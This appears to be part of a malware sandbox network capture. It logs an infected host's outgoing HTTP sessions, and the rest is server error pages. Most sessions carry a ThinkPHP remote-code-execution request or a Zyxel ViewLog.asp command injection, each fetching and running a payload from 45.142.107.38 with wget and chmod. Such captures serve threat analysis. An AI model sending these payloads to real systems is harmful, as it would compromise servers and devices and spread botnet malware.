30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	44798	95.56.17.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.741657972 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:58.995712042 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:06:58.996278048 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	34046	94.120.105.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.768373966 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	45170	95.164.19.83	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.841415882 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:59.098849058 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	45246	88.146.235.26	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:59.144196033 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:59.345459938 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Sat, 21 Sep 2019 16:55:49 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	43548	88.80.161.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:59.858514071 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:00.044692993 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:59 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	47316	112.64.200.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:00.215337992 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:00.581113100 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.9.15 Date: Mon, 04 Mar 2024 14:07:00 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 39 2e 31 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.9.15</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	42640	95.100.190.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:01.739739895 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:01.929653883 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:01 GMT Date: Mon, 04 Mar 2024 14:07:01 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 64 31 66 35 35 37 26 23 34 36 3b 31 37 30 39 35 36 31 32 32 31 26 23 34 36 3b 31 34 38 34 39 64 34 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a4d1f557.1709561221.14849d4a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	56778	95.183.196.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:01.770567894 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	56782	88.99.57.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:01.915749073 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:02.090584040 CET	38	IN	HTTP/1.0 400 Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	55194	112.28.235.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:01.939120054 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:02.826996088 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	56788	88.99.57.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.265758038 CET	38	IN	HTTP/1.0 400 Bad request
Mar 4, 2024 15:07:02.265774965 CET	253	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 33 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 42 61 64 20 52 65 71 Data Ascii: Content-Type: text/htmlContent-Length: 193<html> <head> <title>Bad Request</title> </head> <body> <h1>Bad Request</h1> <p>Your browser sent a request which this web server could not grok.</p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	48392	95.61.114.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.356723070 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:02.931343079 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	38488	31.200.79.196	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.383172035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	46034	95.86.88.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.385126114 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	60066	94.120.166.32	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.599611998 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	37214	94.122.216.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.599842072 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	54110	95.164.243.124	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.687429905 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:02.777264118 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:07:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3558 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from ubuntu X-Cache-Lookup: NONE from ubuntu:8080 Via: 1.1 ubuntu (squid/3.5.27) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-seri

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	34406	31.136.174.34	8080

Timestamp	Bytes transferred	Direction	Data
